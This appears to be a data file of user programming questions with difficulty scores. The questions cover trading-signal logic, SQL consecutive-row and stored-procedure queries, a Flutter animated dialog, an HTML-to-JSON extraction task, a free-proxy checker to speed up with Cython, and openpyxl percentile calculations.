spread_percent = ((sell_price - buy_price) / buy_price) * 100
if buy_qty > sell_qty and spread_percent > threshold:
signal.append('buy')
elif sell_qty > buy_qty and spread_percent < -threshold:
signal.append('sell')
else:
signal.append('')
return signal
But it doesn't give me signals to buy and sell , I think problem in
if buy_qty > sell_qty and spread_percent > threshold:
signal.append('buy')
elif sell_qty > buy_qty and spread_percent < -threshold:
signal.append('sell')
else:
signal.append('') | c1167a310a9b770f067fc93e70ceb5af | {
"intermediate": 0.3997475802898407,
"beginner": 0.2894064486026764,
"expert": 0.31084591150283813
} |
18,069 | I used this code: def signal_generator(df):
if df is None or len(df) < 2:
return ''
signal = []
# Retrieve depth data
threshold = 0.1
depth_data = client.depth(symbol=symbol)
bid_depth = depth_data['bids']
ask_depth = depth_data['asks']
buy_price = float(bid_depth[0][0]) if bid_depth else 0.0
sell_price = float(ask_depth[0][0]) if ask_depth else 0.0
mark_price_data = client.ticker_price(symbol=symbol)
mark_price = float(mark_price_data['price']) if 'price' in mark_price_data else 0.0
buy_qty = sum(float(bid[1]) for bid in bid_depth)
sell_qty = sum(float(ask[1]) for ask in ask_depth)
if sell_qty > buy_qty and sell_qty > (1 + threshold):
signal.append('sell')
elif buy_qty > sell_qty and buy_qty > (1 + threshold):
signal.append('buy')
else:
signal.append('')
return signal
But it giving me only signal to buy , I think the first problem is in else , the else is doesn't work, please give me code where else will work | 240a9b7f269dc0486a414969f05cb9d9 | {
"intermediate": 0.4782114624977112,
"beginner": 0.2331416755914688,
"expert": 0.2886469066143036
} |
18,070 | Human traffic stadium X stadium built a new stadium, each day many people visit it, write a query to display the records which have 3 or more consecutive rows and the amount of people more than 100(inclusive) using cte and joins | 297b0ca5b5351605b5b0314786956f3b | {
"intermediate": 0.5044923424720764,
"beginner": 0.2627319395542145,
"expert": 0.23277565836906433
} |
18,071 | Human traffic stadium X stadium built a new stadium, each day many people visit it, write a query to display the records which have 3 or more consecutive rows and the amount of people more than 100(inclusive) using cte | b15dd036e72d3f2cd1b06e79ab09bf61 | {
"intermediate": 0.502128005027771,
"beginner": 0.2587488293647766,
"expert": 0.23912313580513
} |
18,072 | <body>
<button id="back" class="mdc-button" onclick="goBack()"> <span class="mdc-button__ripple"></span><i class="material-icons">
keyboard_return
</i> Regrese<style>body{background:salmon}</style></button>
<div id="header2" style="background-color:#4b7aa4; position:relative; height:67px; color:white;">
<div style="position:absolute;left:5px;top:5px;">
<object data="/images/category_index/earth.svg" type="image/svg+xml" width="60" height="60" class="img" style="z-index:20">
</object>
</div>
<div style="position:absolute;left:74px;top:18px;"> <a href="/esp/" style="font-size:140%;font-weight:bold;color:white;text-decoration:none">LanguageGuide.org</a></div>
</div>
<div class="subhead main es">
<div class="image">
<img src="images/birds-en.png" class="screen">
<img style="width: 110px;width: 110px;position: absolute; top: 150px; left: 20px;" src="images/pointing-man.svg">
</div>
<div>
<h1>Explore el mundo del vocabulario con 80 páginas con diversos temas. </h1>
<div class="description">Simplemente apunte a una imagen con el cursor para escucharla pronunciada en voz alta y deletreada.
</div>
<ul>
<li>Cambie la dificultad haciendo click en la configuración del icono de preferencias<i class="material-icons">settings</i>. Elija entre los niveles inicial, intermedio y avanzado. (Avanzado es el valor predeterminado)
</li>
<li>¿No está claro qué objeto es? Active las traducciones a través de las preferencias o presionando la tecla 't'.
</li>
<li>Asegúrese de probar los desafíos de escuchar y hablar, ahora con <a href="https://www.blogger.com/u/1/blogger.g?blogID=7092322379253305804#editor/target=post;postID=8758195529630410803;onPublishedMenu=allposts;onClosedMenu=allposts;postNum=0;src=postname">reconocimiento de voz</a>.
</li>
</ul>
</div>
</div>
<div class="subhead" style="clear: both; height: 170px;">
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Generating JSON Object from HTML Content
Below are the necessary steps to generate a JSON object with information extracted from HTML content, including paragraphs, divs, sections, and other readable information-holding tags, following the given specifications:
Objective: Create a JSON object that contains specific information from paragraphs, divs, sections, and other tags that hold readable information in an HTML document.
Instructions:
Open a new HTML file or use an existing one that contains the provided HTML content.
Extraction of Information:
Thoroughly analyze the provided HTML content and check the following points:
Identify paragraphs, divs, sections, and other readable information-holding tags that need to meet the given criteria.
Maintain the original structure and links within the content.
JSON Object Generation:
Use JavaScript to perform the following actions:
Create an empty array to hold the extracted data.
For each valid paragraph, div, section, or other relevant tag:
Create a new object with the fields selector, original, and summary.
Generate a specific selector for the current node and add it to the object.
Capture the original content of the node (including all tags and links) and add it to the object.
Generate a summary of the content while preserving sub-nodes, limiting it to 100 characters, and add it to the object.
Add the object to the array.
Incorporation in the Document:
Convert the generated array of objects to a JSON string.
Display the JSON string within the HTML document or perform any other desired action.
Expected Outcome:
When opening the HTML file in a web browser, the JSON object should be displayed or processed according to your desired approach. The object should have the structure { "selector": "...", "original": "...", "summary": "..." } for each target paragraph, div, section, or other readable information-holding tag that meets the specified criteria. | fe856fe35d241c6469e48621763ca6e2 | {
"intermediate": 0.45972028374671936,
"beginner": 0.3808985948562622,
"expert": 0.15938116610050201
} |
18,073 | rows[microPrice]?.bid !== undefined && rows[microPrice]?.bid * maxVolume || 0;
Object is possibly 'undefined'.ts(2532)
(property) bid?: number | undefined
как исправить | 665c9d1ff4db69319861b9700b8afc54 | {
"intermediate": 0.32961881160736084,
"beginner": 0.41545942425727844,
"expert": 0.2549217641353607
} |
18,074 | I used this code: def signal_generator(df):
if df is None or len(df) < 2:
return ''
signal = []
# Retrieve depth data
threshold = 0.1
depth_data = client.depth(symbol=symbol)
bid_depth = depth_data['bids']
ask_depth = depth_data['asks']
buy_price = float(bid_depth[0][0]) if bid_depth else 0.0
sell_price = float(ask_depth[0][0]) if ask_depth else 0.0
mark_price_data = client.ticker_price(symbol=symbol)
mark_price = float(mark_price_data['price']) if 'price' in mark_price_data else 0.0
buy_qty = float(bid_depth[0][1]) if bid_depth else 0.0
sell_qty = float(ask_depth[0][1]) if ask_depth else 0.0
if sell_qty > (1 + threshold):
signal.append('sell')
elif buy_qty > (1 + threshold):
signal.append('buy')
else:
signal.append('')
return signal
But it doesn't give me '' | 9be5ce0d662c5d87061ece3535c6e44b | {
"intermediate": 0.3496032953262329,
"beginner": 0.422478049993515,
"expert": 0.2279186099767685
} |
18,075 | How do i load voice cover ai by downloaded model | 64a44e3974f7ac3e710e87ce6c09bc6b | {
"intermediate": 0.27906715869903564,
"beginner": 0.11392736434936523,
"expert": 0.6070054769515991
} |
18,076 | this my alert widget.
import 'package:audioplayers/audioplayers.dart';
import 'package:flutter/material.dart';
import 'package:flutter_animate/flutter_animate.dart';
import 'package:investment_com/abstract_provider.dart';
import 'package:investment_com/core/Config/Converter.dart';
import 'package:investment_com/core/enums/enums.dart';
import 'package:investment_com/features/service_invoices/presentation/providers/add_delete_update_services_invoices_provider.dart';
import 'package:lottie/lottie.dart';
import 'package:provider/provider.dart';
class AnimatedPopUpDialog<T> extends StatefulWidget {
const AnimatedPopUpDialog({
@required this.executeFunction,
this.autoDismiss,
this.duration,
this.onOkTap,
this.showRetryButton,
this.lottieErrorAssetsName,
this.lottieLoadingAssetsName,
this.lottieSuccessAssetsName,
});
final Function() onOkTap;
final Function() executeFunction;
final String lottieSuccessAssetsName;
final String lottieErrorAssetsName;
final String lottieLoadingAssetsName;
final bool showRetryButton;
final bool autoDismiss;
final Duration duration;
@override
State<AnimatedPopUpDialog<T>> createState() => _AnimatedPopUpDialogState<T>();
}
class _AnimatedPopUpDialogState<T> extends State<AnimatedPopUpDialog<T>> with TickerProviderStateMixin {
AnimationController _controller;
Animation<double> _iconScaleAnimation;
Animation<double> _containerScaleAnimation;
Animation<Offset> _yAnimation;
AnimationController _textAnimation;
AnimationController _retryRotateController;
Animation<double> _retryRotateAnimation;
AudioPlayer _player;
Color circleColor = Converter.hexToColor("#2094cd").withOpacity(0.1);
String _lottieName;
bool _isFirstRun = true;
bool isStateChanging = false;
AbstractProvider _provider;
@override
void initState() {
super.initState();
Future.delayed(
Duration.zero,
() => widget.executeFunction(),
);
//? initialize the first state
_lottieName = widget.lottieLoadingAssetsName;
print(widget.lottieErrorAssetsName);
//? initialize the Audio player and aninimation controllers
_player = AudioPlayer();
_controller = AnimationController(
vsync: this,
duration: const Duration(seconds: 1),
);
_textAnimation = AnimationController(
vsync: this,
duration: const Duration(seconds: 1),
);
_retryRotateController = AnimationController(
vsync: this,
duration: const Duration(milliseconds: 500),
);
_retryRotateAnimation = Tween<double>(
begin: 0.1,
end: 1.0,
).animate(
CurvedAnimation(
parent: _retryRotateController,
curve: Curves.easeInOut,
),
);
_yAnimation = Tween<Offset>(
begin: const Offset(0, 0),
end: const Offset(0, -0.23),
).animate(
CurvedAnimation(
parent: _controller,
curve: Curves.easeInOut,
),
);
_iconScaleAnimation = Tween<double>(
begin: 4,
end: 3,
).animate(
CurvedAnimation(
parent: _controller,
curve: Curves.easeInOut,
),
);
_containerScaleAnimation = Tween<double>(
begin: 3.0,
end: 0.4,
).animate(
CurvedAnimation(
parent: _controller,
curve: Curves.bounceOut,
),
);
//Start the animation
_controller
..reset()
..forward().whenComplete(() {
setState(() {
circleColor = Colors.transparent;
});
});
_textAnimation
..reset()
..forward();
}
@override
void didChangeDependencies() {
//Excute the function
super.didChangeDependencies();
}
@override
void dispose() {
_controller.dispose();
_textAnimation.dispose();
_retryRotateController.dispose();
super.dispose();
}
@override
void deactivate() {
_provider.reset();
super.deactivate();
}
@override
Widget build(BuildContext context) {
return Consumer<T>(
builder: (context, value, child) {
_provider = value as AbstractProvider;
updateUiState();
return WillPopScope(
onWillPop: () async => _provider.dataState != DataState.loading,
child: ClipRRect(
borderRadius: BorderRadius.circular(20),
child: Container(
height: 350,
decoration: BoxDecoration(
color: Colors.white,
),
child: ConstrainedBox(
constraints: BoxConstraints(minWidth: 100, minHeight: 100, maxWidth: 100),
child: Stack(
children: [
Column(
mainAxisAlignment: MainAxisAlignment.center,
crossAxisAlignment: CrossAxisAlignment.center,
mainAxisSize: MainAxisSize.min,
children: [
const SizedBox(
height: 200,
),
if (!isStateChanging && _provider.canPlayTheAnimation)
Row(
mainAxisAlignment: MainAxisAlignment.center,
children: [
Text(
'${tanslatedDataState(_provider.dataState)}',
textAlign: TextAlign.center,
style: const TextStyle(
fontSize: 14,
fontWeight: FontWeight.bold,
color: Colors.black,
),
).animate(controller: _textAnimation).fadeIn().slideX(),
],
)
else
SizedBox(height: 15),
const SizedBox(
height: 50,
),
Row(
mainAxisAlignment: MainAxisAlignment.center,
children: [
if (_provider.dataState == DataState.loading && !isStateChanging)
ElevatedButton(
style: ButtonStyle(
backgroundColor: MaterialStatePropertyAll(Colors.red[400]),
shadowColor: MaterialStatePropertyAll(Colors.transparent),
),
onPressed: () {
if (widget.onOkTap != null) widget.onOkTap();
Navigator.pop(context);
},
child: Text('Cancel'),
).animate(controller: _textAnimation).fadeIn().slideX(),
],
),
if (_provider.dataState != DataState.loading && !isStateChanging)
Row(
mainAxisAlignment: MainAxisAlignment.spaceEvenly,
children: [
ElevatedButton(
style: ButtonStyle(
backgroundColor: MaterialStatePropertyAll(Converter.hexToColor("#2094cd")),
shadowColor: MaterialStatePropertyAll(Colors.transparent),
),
onPressed: () {
if (widget.onOkTap != null) widget.onOkTap();
Navigator.pop(context);
},
child: Text('OK'),
).animate(controller: _textAnimation).fadeIn().slideX(),
if (_provider.dataState == DataState.failure &&
widget.showRetryButton &&
!_provider.canPlayTheAnimation)
ElevatedButton(
style: ButtonStyle(
backgroundColor: MaterialStatePropertyAll(Colors.transparent),
shadowColor: MaterialStatePropertyAll(Colors.transparent),
side: MaterialStatePropertyAll(
BorderSide(color: Converter.hexToColor("#2094cd")))),
onPressed: () async {
_retryRotateController.forward();
isStateChanging = true;
await _provider.setLoadingState();
_changeToLoading();
widget.executeFunction();
///Excute the onRetry function after tje animation is complete
///if it is not null
_retryRotateController.reset();
},
child: Row(
children: [
RotationTransition(
turns: _retryRotateAnimation,
child: Icon(Icons.restart_alt_sharp,
color: Converter.hexToColor("#2094cd"))),
Text('Retry', style: TextStyle(color: Converter.hexToColor("#2094cd"))),
],
),
).animate(controller: _textAnimation).shimmer().slideX(),
],
)
// if (isStateChanging) SizedBox(height: 60)
],
),
Positioned.fill(
child: Padding(
padding: const EdgeInsets.only(top: 25, left: 40, right: 40),
child: SlideTransition(
position: _yAnimation,
child: ScaleTransition(
scale: _containerScaleAnimation,
child: Container(
decoration: BoxDecoration(
shape: BoxShape.circle,
color: circleColor,
),
child: ScaleTransition(
scale: _iconScaleAnimation,
child: isStateChanging
? SizedBox.shrink()
: InkWell(
onTap: () {
context
.read<AddDeleteUpdateServicesInvoicesProvider>()
.updateCreatingState(DataState.done);
},
child: Lottie.asset('assets/lottie/$_lottieName.json', reverse: true)),
),
),
),
),
),
)
],
)))),
);
},
);
}
String tanslatedDataState(DataState state) {
switch (state) {
case DataState.loading:
return 'جاري التنفذي';
case DataState.done:
return 'تمت العملية بنجاح';
case DataState.failure:
return 'حدث خطأ';
case DataState.notSet:
break;
case DataState.empty:
break;
case DataState.hasData:
break;
case DataState.offline:
return 'تأكد من جودة الانترنت';
}
return '';
}
void updateUiState() {
Future.delayed(Duration.zero, () async {
_provider.compaerStates();
print(_provider.dataState);
// print(widget.lottieErrorAssetsName);
switch (_provider.dataState) {
case DataState.loading:
if (_provider.playAnimation && _provider.canPlayTheAnimation) {
_provider.playAnimation = false;
await _changeToLoading();
}
break;
case DataState.done:
if (_provider.playAnimation && _provider.canPlayTheAnimation) {
_provider.playAnimation = false;
await _changeToSucces();
}
break;
case DataState.failure:
if (_provider.playAnimation && _provider.canPlayTheAnimation) {
_provider.playAnimation = false;
await _changeToError();
}
break;
case DataState.offline:
if (_provider.playAnimation && _provider.canPlayTheAnimation) {
_provider.playAnimation = false;
await _changeToOffline();
}
break;
case DataState.notSet:
break;
case DataState.empty:
break;
case DataState.hasData:
break;
}
});
}
Future<void> _changeToError() async {
setState(() {
isStateChanging = true;
_controller.reverse();
circleColor = Converter.hexToColor('#f33342');
_textAnimation..reverse();
_lottieName = widget.lottieErrorAssetsName;
});
await _player.play(AssetSource('sounds/error.wav'));
await Future.delayed(Duration(seconds: 1));
_controller
..forward().whenComplete(() {
circleColor = Colors.transparent;
setState(() {});
_textAnimation..forward();
});
await Future.delayed(Duration(seconds: 4));
setState(() {
isStateChanging = false;
});
_provider.completeAnimation();
}
Future<void> _changeToOffline() async {
setState(() {
isStateChanging = true;
_controller.reverse();
circleColor = Colors.blue[800];
_textAnimation..reverse();
_lottieName = 'offline';
});
await Future.delayed(Duration(seconds: 1));
_controller
..forward().whenComplete(() {
circleColor = Colors.transparent;
setState(() {});
_textAnimation..forward();
});
await Future.delayed(Duration(seconds: 4));
setState(() {
isStateChanging = false;
});
_provider.completeAnimation();
}
Future<void> _changeToSucces() async {
setState(() {
isStateChanging = true;
});
_controller.reverse();
circleColor = Colors.blue[300];
_textAnimation..reverse();
await _player.play(AssetSource('sounds/success.mp3'));
await Future.delayed(Duration(seconds: 1));
_lottieName = widget.lottieSuccessAssetsName;
print('$_lottieName +++++++=');
setState(() {});
isStateChanging = false;
_controller
..forward().whenComplete(() {
circleColor = Colors.transparent;
setState(() {});
_textAnimation.forward();
});
await Future.delayed(Duration(seconds: 4));
_provider.completeAnimation();
//Dismiss the dialog
if (widget.autoDismiss) autoDismiss();
}
Future<void> _changeToLoading() async {
print('isStateChanging $isStateChanging');
_textAnimation
..reverse()
..stop();
_retryRotateController.forward();
isStateChanging = true;
setState(() {});
_controller.reverse();
circleColor = Converter.hexToColor("#2094cd").withOpacity(0.1);
await _player.play(AssetSource('sounds/loading.wav'));
await Future.delayed(Duration(seconds: 1));
_lottieName = widget.lottieLoadingAssetsName;
_controller
..forward().whenComplete(
() {
circleColor = Color.fromRGBO(0, 0, 0, 0);
setState(() {});
_textAnimation..forward();
},
);
setState(() {
isStateChanging = false;
});
await Future.delayed(Duration(seconds: 3));
print('isStateChanging $isStateChanging');
_provider.completeAnimation();
}
void autoDismiss() {
Future.delayed(widget.duration, () => Navigator.of(context).pop());
}
}
this my provider handling the ui state.
import 'package:flutter/material.dart';
import 'package:investment_com/core/enums/enums.dart';
abstract class AbstractProvider extends ChangeNotifier {
DataState dataState = DataState.loading;
DataState oldState = DataState.notSet;
String message = "";
bool playAnimation = true;
bool canPlayTheAnimation = true;
void compaerStates() async {
if (oldState != dataState && canPlayTheAnimation) {
print('yes i can');
await Future.delayed(Duration(seconds: 2));
print('${dataState.name} VS ${oldState.name}');
playAnimation = true;
oldState = dataState;
canPlayTheAnimation = false;
notifyListeners();
}
}
Future<void> setLoadingState() async {
await Future.delayed(Duration(seconds: 2));
dataState = DataState.loading;
notifyListeners();
}
void completeAnimation() async {
canPlayTheAnimation = true;
notifyListeners();
}
void reset() {
dataState = DataState.notSet;
oldState = DataState.notSet;
playAnimation = true;
canPlayTheAnimation = true;
}
}
how to await the animate tho complete to play other animation while the data state is upditing | 5edbac2767dc3f690fdb225a99b0a4c3 | {
"intermediate": 0.2933122515678406,
"beginner": 0.5300467014312744,
"expert": 0.1766410917043686
} |
18,077 | 5 2017-01-05 145
6 2017-01-06 1455
7 2017-01-07 199
8 2017-01-08 188 get these results using cte function on mysql | dd356910b95a0d5b136d8d58aedb8af8 | {
"intermediate": 0.32573744654655457,
"beginner": 0.29776597023010254,
"expert": 0.3764966130256653
} |
18,078 | 5 2017-01-05 145
6 2017-01-06 1455
7 2017-01-07 199
8 2017-01-08 188 get these results using inner join | 7b614d4f3c569870f061ad7ae74a690a | {
"intermediate": 0.24838876724243164,
"beginner": 0.2567768692970276,
"expert": 0.494834303855896
} |
18,079 | create table Players(number int,name varchar(50),age int,starts int,totalGoals int,totalShots int)
create table injuredPlayers(number int,name varchar(50))
insert into Players values
(3,'Eric Bailly',23,8,1,NULL),
(17,'Daley Blind',27,3,NULL,NULL),
(36,'Matteo Darmian',28,2,NULL,NULL),
(4,'Phil Jones',25,17,NULL,NULL),
(2,'Victor Lindelof',23,7,NULL,NULL),
(35,'Demetri Mitchell',20,NULL,NULL,NULL),
(5,'Marcos Rojo',28,5,NULL,NULL),
(23,'Luke Shaw',22,5,NULL,NULL),
(12,'Chris Smaling',28,13,1,NULL),
(38,'Axel Tuanzebe',20,NULL,NULL,NULL),
(25,'Antonio Valencia',32,18,2,NULL),
(16,'Michael Carrick',36,NULL,NULL,NULL),
(27,'Marouane Fellaini',30,3,3,NULL),
(21,'Ander Herrera',28,8,NULL,NULL),
(14,'Jesse Lingard',25,9,8,NULL),
(8,'Juan Mata',29,15,3,NULL),
(31,'Nemanja Matic',29,22,NULL,NULL),
(39,'Scott McTominay',21,1,NULL,NULL),
(22,'Henrikh Mkhitaryan',28,11,1,NULL),
(6,'Paul Pogba',24,12,3,NULL),
(18,'Ashley Young',32,16,2,NULL),
(10,'Zlatan Ibrahimovic',36,1,NULL,NULL),
(9,'Romelu Lukaku',24,21,10,NULL),
(11,'Anthony Martial',22,11,7,NULL),
(19,'Marcus Rashford',20,13,4,NULL)
insert into injuredPlayers values
(16,'Michael Carrick'),
(3,'Eric Bailly'),
(27,'Marouane Fellaini'),
(25,'Antonio Valencia'),
(10,'Zlatan Ibrahimovich'),
(9,'Romelu Lukaku')
SELECT * FROM injuredPlayers
SELECT * FROM Players | b365c88f2bd583e37abbf1ddf79c374e | {
"intermediate": 0.3286128342151642,
"beginner": 0.4434671401977539,
"expert": 0.22792008519172668
} |
18,080 | from openpyxl import load_workbook
import pandas as pd
import datetime
from openpyxl import Workbook
from openpyxl.utils.dataframe import dataframe_to_rows
# 打开Excel文件
wb = load_workbook(filename=r'C:\Users\LIQI\Documents\民生基金\行业打分\钢铁数据跟踪汇总.xlsx', read_only=True, data_only=True)
# 选择指定的sheet
sheet = wb['吨钢毛利'] # 这里的Sheet3是你要读取的sheet名称，可以根据实际情况修改
# 选择指定的列
columns = [0, 9, 10, 11, 12]
# 读取数据
data = []
for row in sheet.iter_rows(values_only=True):
if all(value is None for value in row):
break
data.append([row[column] for column in columns])
# 构建DataFrame
df = pd.DataFrame(data)
df.columns = df.iloc[0]
df = df[1:]
# 将第一列作为索引并转换为datetime格式
df.set_index(df.columns[0], inplace=True)
df.index = pd.to_datetime(df.index)
def calculate_percentile(df, date, column):
date = pd.to_datetime(date)
target_dates = pd.date_range(end=date, periods=5)
target_values = df.loc[target_dates, column]
target_value_mean = target_values.mean()
five_years_ago = date - pd.DateOffset(years=6)
date_range = pd.date_range(start=five_years_ago, end=date)
history_values = df.loc[date_range, column]
# Calculate smoothed values
history_means = history_values.rolling(window=5).mean()
# Filter out the same month and day values
history_values = df[(df.index.month.isin(date_range.month)) & (df.index.day.isin(date_range.day))][column]
target_smoothed_value = target_value_mean
max_smoothed_value = history_means.max()
min_smoothed_value = history_means.min()
percentile = (target_smoothed_value - min_smoothed_value) / (max_smoothed_value - min_smoothed_value) * 100
return percentile
# 创建一个空的列表，用于存储每一天的percentile值
percentiles = []
# 设置起始日期
start_date = pd.to_datetime('2018-12-31')
# 循环遍历DataFrame的每一行
for index, row in df.iterrows():
# 检查是否满足起始日期的条件，如果不满足，则跳过计算
if index < start_date:
percentiles.append(None)
continue
# 获取当前行的日期和列名
date = index
column = '螺纹钢' # 要计算percentile的列名，请根据实际情况修改
# 调用calculate_percentile函数计算percentile值
percentile = calculate_percentile(df, date, column)
# 将percentile值添加到列表中
percentiles.append(percentile)
df['Percentile'] = percentiles
# 创建一个空的列表，用于存储每一天的Percentile YOY值
percentile_yoy = []
# 循环遍历DataFrame的每一行
for index, row in df.iterrows():
# 检查是否满足起始日期的条件，如果不满足，则跳过计算
if index < start_date:
percentile_yoy.append(None)
continue
# 获取当前行的日期和列名
date = index
column = '螺纹钢' # 要计算Percentile YOY的列名，请根据实际情况修改
# 获取上一年同期的日期
last_year_date = date - pd.DateOffset(years=1)
# 检查上一年同期的日期是否在DataFrame中存在
if last_year_date in df.index:
# 计算上一年同期的Percentile值
last_year_percentile = df.loc[last_year_date, 'Percentile']
# 计算Percentile YOY值
percentile_yoy_value = row['Percentile'] - last_year_percentile
percentile_yoy.append(percentile_yoy_value)
else:
percentile_yoy.append(None)
# 将percentile_yoy列表添加为新的一列到DataFrame中
df['Percentile YOY'] = percentile_yoy
# 创建一个空的列表，用于存储每一天的Percentile WOW值
percentile_wow = []
# 循环遍历DataFrame的每一行
for index, row in df.iterrows():
# 检查是否满足起始日期的条件，如果不满足，则跳过计算
if index < start_date:
percentile_wow.append(None)
continue
# 获取当前行的日期和列名
date = index
column = '螺纹钢' # 要计算Percentile YOY的列名，请根据实际情况修改
# 获取两周前的日期
two_weeks_ago = date - pd.DateOffset(weeks=2)
# 检查两周前的日期是否在DataFrame中存在
if two_weeks_ago in df.index:
# 计算两周前的的Percentile值
two_weeks_ago_percentile = df.loc[two_weeks_ago, 'Percentile']
# 计算Percentile WOW值
percentile_wow_value = row['Percentile'] - two_weeks_ago_percentile
percentile_wow.append(percentile_wow_value)
else:
percentile_wow.append(None)
# 将percentile_wow列表添加为新的一列到DataFrame中
df['Percentile WOW'] = percentile_wow
# 创建一个新的工作簿
new_wb = Workbook()
# 获取新工作簿的默认sheet
new_sheet = new_wb.active
# 将DataFrame的数据逐行写入新sheet
for r in dataframe_to_rows(df, index=True, header=True):
new_sheet.append()
# 设置新sheet的名称
new_sheet.title = "数据分析结果"
运行以后错误信息如下 怎么改？
---------------------------------------------------------------------------
TypeError Traceback (most recent call last)
~\AppData\Local\Temp/ipykernel_1100/3893421799.py in <module>
150 # 将DataFrame的数据逐行写入新sheet
151 for r in dataframe_to_rows(df, index=True, header=True):
--> 152 new_sheet.append()
153
154 # 设置新sheet的名称
TypeError: append() missing 1 required positional argument: 'iterable' | d44e1fceced33f70e0058e6b58b49661 | {
"intermediate": 0.48766642808914185,
"beginner": 0.3247459828853607,
"expert": 0.18758758902549744
} |
18,081 | Create stored proc to return only forwards | ad29c9f9318192f8c3f0908c997cc434 | {
"intermediate": 0.33505722880363464,
"beginner": 0.22258330881595612,
"expert": 0.44235947728157043
} |
18,082 | 用Cython优化下列代码: from bs4 import BeautifulSoup
import requests,concurrent.futures,time
def get_proxies(url, session):
try:
response = session.get(url)
response.raise_for_status()
except requests.exceptions.RequestException as e:
print(f"请求失败: {e}")
return None
soup = BeautifulSoup(response.text, 'html.parser')
rows = soup.find_all('tr')
proxies = []
for row in rows[1:]:
columns = row.find_all('td')
second = columns[5].text.strip()
if float(second.strip("秒")[0]) <= 10.0:
ip = columns[0].text.strip()
port = columns[1].text.strip()
proxies.append(f'{ip}:{port}')
return proxies
def test_proxy(proxy, checked_proxies, session):
if proxy in checked_proxies:
return None
try:
response = session.get('https://www.baidu.com', proxies={"http": proxy, "https": proxy}, timeout=5)
response.raise_for_status()
if response.status_code == 200:
ping=round(response.elapsed.total_seconds(),4)
print(f'[第 {page} 页](延迟 {ping} 秒){proxy}')
checked_proxies.add(proxy)
except:
pass
return checked_proxies
def test_proxies(proxies, checked_proxies, session):
with concurrent.futures.ThreadPoolExecutor(max_workers=64) as executor:
results = [executor.submit(test_proxy, proxy, checked_proxies, session) for proxy in proxies]
for future in concurrent.futures.as_completed(results):
checked_proxies = future.result()
return checked_proxies
def main():
base_url = 'https://www.kuaidaili.com/free/inha'
num_pages = 80 # 爬取页数
checked_proxies = set() # 存储可用代理
session = requests.Session()
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36 Edg/113.0.1774.35'
}
session.headers.update(headers)
for page in range(1, num_pages+1):
url = f'{base_url}/{page}/'
proxies = get_proxies(url, session)
if proxies:
checked_proxies = test_proxies(proxies, checked_proxies, session)
print(f"已处理结果均在本行之上 「进度: {page}/{num_pages} 页」",end='\r')
time.sleep(5) #必要 防封禁
if __name__ == "__main__":
main() | e9dc032a0e294a1ec2ea94a9ea16d165 | {
"intermediate": 0.4331766366958618,
"beginner": 0.39338719844818115,
"expert": 0.17343619465827942
} |
18,083 | show how to create an ordered list in jupyter notebook. | 6aba19a81b1ce0572195d55d62610d66 | {
"intermediate": 0.5061133503913879,
"beginner": 0.20488609373569489,
"expert": 0.2890004813671112
} |
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